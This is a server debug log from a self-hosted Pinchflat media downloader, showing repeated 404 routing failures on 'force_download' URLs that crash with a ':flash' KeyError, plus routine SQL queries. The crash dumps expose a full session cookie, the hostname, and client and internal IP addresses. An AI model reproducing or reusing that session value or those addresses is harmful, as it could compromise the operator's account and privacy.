"settings" AS s0 LIMIT 1 [] 04:53:43.293 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 04:53:43.294 [debug] QUERY OK source="settings" db=1.3ms queue=0.1ms idle=3.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:43.297 [debug] QUERY OK source="settings" db=0.4ms queue=1.2ms idle=5.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:43.298 [info] Sent 200 in 87ms 04:53:43.302 [info] Sent 200 in 14ms 04:53:43.295 [error] #PID<0.139163.0> running PinchflatWeb.Endpoint (connection #PID<0.139086.0>, stream id 9) terminated Server: pinchflat.ocaff.com:80 (http) Request: GET /sources/31/media/141520/force_download ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/31/media/141520/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.139086.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/31/media/141520/force_download", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 54888}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQ2tqblA0bm9XczVHX0dYa0hiYllQQ0ZQ.ZQgaj9O16udoW4g8HxFySYYY3bprBbnDxciSR1YxTFM", "host" => "pinchflat.ocaff.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "65.21.124.77", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "65.21.124.77" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 9, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQ2tqblA0bm9XczVHX0dYa0hiYllQQ0ZQ.ZQgaj9O16udoW4g8HxFySYYY3bprBbnDxciSR1YxTFM" }, halted: false, host: "pinchflat.ocaff.com", method: "GET", owner: #PID<0.139163.0>, params: %{}, path_info: ["sources", "31", "media", "141520", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.ocaff.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 1, 3, 15}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQ2tqblA0bm9XczVHX0dYa0hiYllQQ0ZQ.ZQgaj9O16udoW4g8HxFySYYY3bprBbnDxciSR1YxTFM" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQ2tqblA0bm9XczVHX0dYa0hiYllQQ0ZQ.ZQgaj9O16udoW4g8HxFySYYY3bprBbnDxciSR1YxTFM"}, {"host", "pinchflat.ocaff.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36"}, {"x-forwarded-for", "65.21.124.77"}, {"x-forwarded-host", "pinchflat.ocaff.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "387f7f7a12c7"}, {"x-real-ip", "65.21.124.77"} ], request_path: "/sources/31/media/141520/force_download", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GLXU0VglNP9U4d0ADaGh"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.139086.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/31/media/141520/force_download", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 54888}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQ2tqblA0bm9XczVHX0dYa0hiYllQQ0ZQ.ZQgaj9O16udoW4g8HxFySYYY3bprBbnDxciSR1YxTFM", "host" => "pinchflat.ocaff.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "65.21.124.77", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "65.21.124.77" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 9, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/31/media/141520/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.139086.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/31/media/141520/force_download", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 54888}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQ2tqblA0bm9XczVHX0dYa0hiYllQQ0ZQ.ZQgaj9O16udoW4g8HxFySYYY3bprBbnDxciSR1YxTFM", "host" => "pinchflat.ocaff.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "65.21.124.77", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "65.21.124.77" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 9, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQ2tqblA0bm9X (truncated) 04:53:43.350 [info] GET /sources/30/media/141039/force_download 04:53:43.351 [debug] QUERY OK source="settings" db=0.5ms queue=0.1ms idle=59.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:43.352 [debug] QUERY OK source="settings" db=0.3ms idle=59.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:43.353 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 04:53:43.354 [error] #PID<0.139165.0> running PinchflatWeb.Endpoint (connection #PID<0.139103.0>, stream id 8) terminated Server: pinchflat.ocaff.com:80 (http) Request: GET /sources/30/media/141039/force_download ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/30/media/141039/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.139103.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/30/media/141039/force_download", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 48136}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQ2tqblA0bm9XczVHX0dYa0hiYllQQ0ZQ.ZQgaj9O16udoW4g8HxFySYYY3bprBbnDxciSR1YxTFM", "host" => "pinchflat.ocaff.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "65.21.124.77", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "65.21.124.77" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 8, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQ2tqblA0bm9XczVHX0dYa0hiYllQQ0ZQ.ZQgaj9O16udoW4g8HxFySYYY3bprBbnDxciSR1YxTFM" }, halted: false, host: "pinchflat.ocaff.com", method: "GET", owner: #PID<0.139165.0>, params: %{}, path_info: ["sources", "30", "media", "141039", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.ocaff.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 1, 3, 15}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQ2tqblA0bm9XczVHX0dYa0hiYllQQ0ZQ.ZQgaj9O16udoW4g8HxFySYYY3bprBbnDxciSR1YxTFM" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQ2tqblA0bm9XczVHX0dYa0hiYllQQ0ZQ.ZQgaj9O16udoW4g8HxFySYYY3bprBbnDxciSR1YxTFM"}, {"host", "pinchflat.ocaff.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36"}, {"x-forwarded-for", "65.21.124.77"}, {"x-forwarded-host", "pinchflat.ocaff.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "387f7f7a12c7"}, {"x-real-ip", "65.21.124.77"} ], request_path: "/sources/30/media/141039/force_download", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GLXU0VvvDXbOOmEADaHB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.139103.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/30/media/141039/force_download", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 48136}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQ2tqblA0bm9XczVHX0dYa0hiYllQQ0ZQ.ZQgaj9O16udoW4g8HxFySYYY3bprBbnDxciSR1YxTFM", "host" => "pinchflat.ocaff.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "65.21.124.77", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "65.21.124.77" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 8, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/30/media/141039/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.139103.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/30/media/141039/force_download", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 48136}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQ2tqblA0bm9XczVHX0dYa0hiYllQQ0ZQ.ZQgaj9O16udoW4g8HxFySYYY3bprBbnDxciSR1YxTFM", "host" => "pinchflat.ocaff.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "65.21.124.77", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "65.21.124.77" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 8, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQ2tqblA0bm9X (truncated) 04:53:43.369 [info] GET /sources/31/media/141520 04:53:43.369 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "141520", "prevent_download" => "true", "source_id" => "31"} Pipelines: [:browser] 04:53:43.371 [debug] QUERY OK source="media_items" db=0.4ms idle=76.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [141520] 04:53:43.372 [debug] QUERY OK source="tasks" db=0.7ms idle=77.1ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [141520] 04:53:43.372 [debug] QUERY OK source="sources" db=1.0ms idle=73.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 04:53:43.373 [debug] QUERY OK source="oban_jobs" db=0.4ms idle=21.5ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [7281] 04:53:43.374 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=21.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:43.375 [debug] QUERY OK source="settings" db=0.2ms queue=0.1ms idle=4.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:43.377 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=4.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:43.379 [debug] QUERY OK source="media_profiles" db=0.4ms queue=0.1ms idle=6.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 04:53:43.385 [info] Sent 200 in 15ms 04:53:43.439 [info] GET /sources/31/media/141520/force_download 04:53:43.441 [debug] QUERY OK source="settings" db=0.3ms idle=66.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:43.441 [debug] QUERY OK source="settings" db=0.3ms idle=66.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:43.442 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 04:53:43.443 [error] #PID<0.139170.0> running PinchflatWeb.Endpoint (connection #PID<0.139103.0>, stream id 10) terminated Server: pinchflat.ocaff.com:80 (http) Request: GET /sources/31/media/141520/force_download ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/31/media/141520/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.139103.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/31/media/141520/force_download", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 48136}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQ2tqblA0bm9XczVHX0dYa0hiYllQQ0ZQ.ZQgaj9O16udoW4g8HxFySYYY3bprBbnDxciSR1YxTFM", "host" => "pinchflat.ocaff.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "65.21.124.77", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "65.21.124.77" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 10, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQ2tqblA0bm9XczVHX0dYa0hiYllQQ0ZQ.ZQgaj9O16udoW4g8HxFySYYY3bprBbnDxciSR1YxTFM" }, halted: false, host: "pinchflat.ocaff.com", method: "GET", owner: #PID<0.139170.0>, params: %{}, path_info: ["sources", "31", "media", "141520", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.ocaff.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 1, 3, 15}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQ2tqblA0bm9XczVHX0dYa0hiYllQQ0ZQ.ZQgaj9O16udoW4g8HxFySYYY3bprBbnDxciSR1YxTFM" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQ2tqblA0bm9XczVHX0dYa0hiYllQQ0ZQ.ZQgaj9O16udoW4g8HxFySYYY3bprBbnDxciSR1YxTFM"}, {"host", "pinchflat.ocaff.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36"}, {"x-forwarded-for", "65.21.124.77"}, {"x-forwarded-host", "pinchflat.ocaff.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "387f7f7a12c7"}, {"x-real-ip", "65.21.124.77"} ], request_path: "/sources/31/media/141520/force_download", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GLXU0WFBRneAUbAADaIB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.139103.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/31/media/141520/force_download", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 48136}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQ2tqblA0bm9XczVHX0dYa0hiYllQQ0ZQ.ZQgaj9O16udoW4g8HxFySYYY3bprBbnDxciSR1YxTFM", "host" => "pinchflat.ocaff.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "65.21.124.77", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "65.21.124.77" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 10, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/31/media/141520/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.139103.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/31/media/141520/force_download", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 48136}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQ2tqblA0bm9XczVHX0dYa0hiYllQQ0ZQ.ZQgaj9O16udoW4g8HxFySYYY3bprBbnDxciSR1YxTFM", "host" => "pinchflat.ocaff.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "65.21.124.77", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "65.21.124.77" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 10, has_body: 